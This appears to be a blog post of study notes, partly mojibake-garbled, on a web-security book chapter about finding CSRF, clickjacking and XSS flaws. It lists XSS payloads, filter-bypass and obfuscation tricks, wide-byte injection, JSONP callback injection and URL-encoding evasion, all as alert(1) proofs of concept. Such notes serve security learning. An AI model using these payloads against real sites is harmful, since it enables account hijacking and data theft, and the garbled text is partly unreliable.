本文地址:http://www.itdecent.cn/p/2d2ab1d1f9e7
第六章 漏洞挖掘
-
CSRF漏洞挖掘需要確認(rèn)以下信息:
- 目標(biāo)表單是否有有效的token隨機(jī)串
- 目標(biāo)表單是否有驗(yàn)證碼
- 目標(biāo)是否判斷了Referer來源
- 根目錄下 crossdoman.xml的
allow-access-from domain是否是通配符 - 目標(biāo)JSON是否可以自定義callback等
-
界面劫持漏洞挖掘需要確認(rèn)以下信息:
- 目標(biāo)HTTP響應(yīng)頭是否設(shè)置了X-Frame-Options字段
- 目標(biāo)是否有javascript的Frame Busting機(jī)制
- 用iframe嵌入目標(biāo)網(wǎng)站試試,若成功,則說明存在漏洞
-
針對(duì)URL,可以利用的輸入點(diǎn)是
id=1,輸出點(diǎn)主要有:- HTML標(biāo)簽之間,如:
<body>[輸出]</body> - HTML標(biāo)簽之內(nèi),如:
<input type='text' value='[輸出]' - 成為javascript代碼的值,如:
<script>a='[輸出]'</script> - 成為css代碼的值,如:
<style>body{font-size:[輸出]px}</style>
- HTML標(biāo)簽之間,如:
-
HTML形式的編碼
- 進(jìn)制編碼:
&#xH(十六進(jìn)制格式)、&#D(十進(jìn)制),最后的分號(hào)可以不要 - HTML實(shí)體編碼,如空格為
等
- 進(jìn)制編碼:
在js執(zhí)行之前,HTML形式的編碼會(huì)自動(dòng)解碼。具體參見書本 P138
具備 HtmlEncode 功能的標(biāo)簽
<body>
<script>function $(id){return document.getElementById(id);}</script>
<input
type='button' value='btn1'
onclick="$('i1').innerHTML='<img onerror=alert(1) />';alert($('i1').innerHTML)" />
<input
type='button' value='btn2'
onclick="$('i2').innerHTML='<img onerror=alert(1) />';alert($('i2').innerHTML)" />
<textarea id='i1'>3333</textarea>
<div id="i2"></div>
</body>
<!-- btn1 結(jié)果 為 <img onerror=alert(1)/> -->
<!-- btn2 結(jié)果 為 <img onerror=alert(1)/>; -->
通過返回結(jié)果可以看出區(qū)別,因?yàn)?code>textarea不解析html,類似的標(biāo)簽還有 <title></title>、<iframe></iframe>、<noscript></noscript>、<noframes></noframes>;另外還有 xmp和 plaintext
注意以下返回區(qū)別:
var textarea = document.createElement('textarea');
textarea.innerHTML='<div>innerText</div>';
console.log(textarea.innerHTML)
// <div>innerText</div> (chrome, safari)
// "<div xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">innerText</div>" (firefox)
var textarea = document.createElement('textarea');
textarea.innerText='<div>innerText</div>';
console.log(textarea.innerHTML)
// <div>innerText</div>(chrome, safari)
// '' (firefox)
var textarea = document.createElement('textarea');
textarea.innerHTML='<div>innerText</div>';
console.log(textarea.innerText)
// <div>innerText</div> (chrome)
// <div>innerText</div> (safari)
// undefined (firefox 沒有innerText接口)
- 不同瀏覽器對(duì)urlencode處理的方式不同
可通過URL拼接一些特殊字符('"<>!@$%^*(){}[]:;,?~)知道
- 通過
window.__defineSetter__可以劫持屬性, 類似于Object.defineProperty
window.__defineSetter__('a', function(){console.log(22);});
window.a=11;
// 22
// 11
字符集缺陷導(dǎo)致XSS攻擊
- 一個(gè)字符可能對(duì)應(yīng)1~n個(gè)字節(jié),一個(gè)字節(jié)為8位,每一位還是 0 或 1
- 一個(gè)字符對(duì)應(yīng)1~n個(gè)字節(jié)是由字符集和編碼決定的
- ASCII字符集是一個(gè)字符對(duì)應(yīng)一個(gè)字節(jié),不過每個(gè)字節(jié)只用了7位,最高位用于其他目的,即ASCII字符集共有2的7次方(128)個(gè)字符
- Unicode字符集編碼方式有
UTF-8、UTF-16、UTF-32、UTF-7,最為常見的是UTF-8、UTF-7 - 寬字節(jié)碼帶來的安全問題(GB2312、GBK、GB18030、BIG5、Shift_JIS等)
<?php header("Content-Type:text/html;charset=GBK"); ?>
<head></head>
<body>
<script>
a="<?php echo $_GET['x']; ?>"
</script>
</body>
<!--
如果url是
go.php?x=";alert(1)//
結(jié)果會(huì)被轉(zhuǎn)成
a="1\";alert(1)//"
// 具體參見P161
-->
繞過瀏覽器 XSS Filter
XSS Filter 主要針對(duì)反射性XSS,大體采用一種啟發(fā)式的檢測(cè),根據(jù)用戶提交的數(shù)據(jù)檢測(cè)是否存在潛在的XSS特征,并重新渲染響應(yīng)內(nèi)容保證潛在XSS特征不會(huì)觸發(fā)
混淆代碼
- 經(jīng)常在HTML中使用十進(jìn)制和十六進(jìn)制
- 十進(jìn)制在html中表示,如
8,&和#作為前綴,中間是十進(jìn)制數(shù)字,以;作為后綴結(jié)束,其中后綴;可以沒有 - 十六進(jìn)制表示如:
Z,與十進(jìn)制相比,&#后面緊跟x,中間是十六進(jìn)制表示的數(shù)字,同樣后綴可省略 - CSS屬性中,也只能是有個(gè)十進(jìn)制和十六進(jìn)制,另外十六進(jìn)制可以表示為
\6c - JS中,八進(jìn)制表示為
\56,十六進(jìn)制表示為\x5c,多字節(jié)字符不能這樣表示,需要用Unicode編碼,如\u4ee3\u7801
瀏覽器三套 編/解碼 方法
第一組:escape 與 unescape,且對(duì)0~255以外的unicode值進(jìn)行編碼時(shí)輸出 %u****
第二組:encodeURI 與 decodeURI
第三組:encodeURIComponent 與 decodeURICompon
共同不編碼的字符有66個(gè):
0~9、a~z、A~Z、*、-、_、.escape不編碼的字符有69個(gè),另外3個(gè)字符是:
+、/、@encodeURI不編碼的字符有82個(gè),另外16個(gè)字符是:
+、/、@、!、#、$、&、'、(、)、:、;、=、?、~encodeURIComponent不編碼的字符有71個(gè),另外5個(gè)字符是:
!、'、(、)、~
此外,除以上三種加/解碼方法外,還有 HTMLEncode、URIEncode、JSEncode、UTF-7編碼、Base64編碼
HTML中注入技巧
完整的HTML代碼分為:標(biāo)簽名,屬性名,屬性值,文本,注釋。
標(biāo)簽,HTML語言是松散的,且標(biāo)簽有優(yōu)先級(jí),可以通過混淆代碼繞過,比如大小寫不區(qū)分
- HTML語法中有標(biāo)簽優(yōu)先級(jí)概念,
<textarea>、<title>、<style>、<script>、<xmp>等優(yōu)先級(jí)較高
<title><a href="</title><img src='/te.jpg' onerror=alert(11)//">aaa</a></title>
// 會(huì)alert出11
// 把title 換成 div后就不會(huì)
如果過濾器將以上標(biāo)簽過濾了,可以嘗試一下方式:
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">
屬性,不區(qū)分大小寫,屬性值可用單引號(hào)、雙引號(hào)、不用引號(hào)、反引號(hào)(IE);且標(biāo)簽與屬性、屬性與等號(hào)、等號(hào)與屬性值可使用換行、回車或tab等,個(gè)數(shù)不限
- 但利用反射性XSS漏洞時(shí),輸出往往在html中,比較容易;如果出現(xiàn)在屬性值中,想辦法先閉合屬性值或直接閉合標(biāo)簽,或設(shè)置一個(gè)可觸發(fā)的事件屬性來執(zhí)行腳本
- HTML屬性主要分為:普通屬性、事件屬性、資源屬性等
- 普通屬性,如
<font color=<? $_GET['url'] ?> />
// 構(gòu)造以下url即可
?url=x%20onerror=alert(1)
// 結(jié)果為
<font color=x onerror=alert(1) />
// 屬性有引號(hào)時(shí),想辦法閉合方法與前面類似
<font color="<? $_GET['url'] ?>" />
?url=x"%20onerror=alert(1) //
如果對(duì)方將引號(hào)過濾掉或HTMLEncode轉(zhuǎn)義了,有以下兩個(gè)特例
// 使用與 IE6
<img src="x` `<script>alert(1)</script>"` `>
// 適用于IE Firefox Chrome Opera
<img src= alt=" onerror=alert(1) //">
- 事件屬性,除普通屬性的方式外,可以直接插入代碼,等待用戶執(zhí)行
HTML總體通過屬性定義的事件在執(zhí)行時(shí)會(huì)做HTMLDecode編碼
防御的辦法是先進(jìn)行JSEncode,然后進(jìn)行HTMLEncode編碼
資源屬性,主要是屬性名為 src 或 href,這類屬性一般都支持瀏覽器預(yù)定義的協(xié)議(
http:、ftp:、file:、https:、javascript:、vbscript:、mailto:、data:),這里有些事網(wǎng)絡(luò)交互協(xié)議(http:、https:、ftp:),有些是本地協(xié)議(一般稱偽協(xié)議)(javascript:、vbscript:、mailto:、data:)支持資源屬性的HTML標(biāo)簽主要有:
APPLET,EMBED,FRAME,IFRAME,IMG
INPUT type=image,
XML,A,LINK,AREA,
TABLE\TR\TD\TH的background屬性,
BGSOUND,AUDIO,VIDEO,OBJECT,META,refresh,SCRIPT,BASE,SROUCE
- 很多瀏覽器把一些被動(dòng)資源類鏈接的偽協(xié)議屏蔽掉了
// 不生效
<img src='javascript:alert(1)' />
// 生效
<iframe src='javascript:alert(1)' />
常用偽協(xié)議主要有:javascript:, vbscript:(微軟瀏覽器), data:
有幾個(gè)不常用的屬性也支持偽協(xié)議
<img dynsrc='javascript:alert(1)' /> (IE6)
<img lowsrc='javascript:alert(1)' /> (IE6)
<isindex action='javascript:alert(1)' type='image'/>
<input type='image' src='javascript:alert(1)' />
CSS中注入
主要分為:選擇符,屬性名,屬性值,規(guī)則和申明
- 可被利用插入XSS腳本的地方有CSS資源類屬性值和@import規(guī)則,IE中還有expression
JS中注入
- 思路是想辦法閉合之前的變量
- 對(duì)HTML中的Javascript來說,
</script>具有最高優(yōu)先級(jí),可以在任何位置中斷JS代碼
<script>
var a="</script><script>alert('inner script')</script>"
// 會(huì)解析為兩個(gè)script
- JSONP方式攻擊,url中拼callback
// 后端返回的JSON
{"name": 1}
// JSONP方式后端的返回
// url?callback=mycallback
mycallback({"name":1})
// 簡(jiǎn)單的方式是mycallback可以變?yōu)?lt;script>alert(1)</script>
// 返回結(jié)果即
<script>alert(1)</script>({"name":1})
// 具體參見P199
JS代碼混淆,混淆有很多種,這里列舉幾種
eval(String.fromCharCode(97,108,101,114,116,40,49,41,59))
// alert(1)
如果對(duì)函數(shù)屏蔽,如eval, alert, http等,利用 (0)['constructor']['constructor'] 代替 eval(這里利用Function),或拼接"h"+"t"+"t"+"p"
(0)['constructor']['constructor']('alert(1)')()
突破URL過濾
- 正常URL
<A >正常URL</A>
- URL編碼
<A HREF='http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D'>URL編碼</A>
- 十進(jìn)制
<A HREF='http://1113982867/'>十進(jìn)制</A>
- 十六進(jìn)制
<A >十六進(jìn)制</A>
- 八進(jìn)制
<A >八進(jìn)制</A>
- 混合編碼
<A HREF='http://6 6.000146.0x7.147'>混合編碼</A>
- 不帶http:協(xié)議
<A HREF='//www.google.com'>不帶http:協(xié)議</A>
- 最后加個(gè)點(diǎn)
<A >最后加個(gè)點(diǎn)</A>
經(jīng)典混淆XSS利用點(diǎn)參考書本 P202
其他一些CheckList參加網(wǎng)站 html5sec.org ,fuzzing平臺(tái)如 shazzer.co.uk,有大量XSS利用點(diǎn)
附原書購(gòu)買地址: http://item.jd.com/11181832.html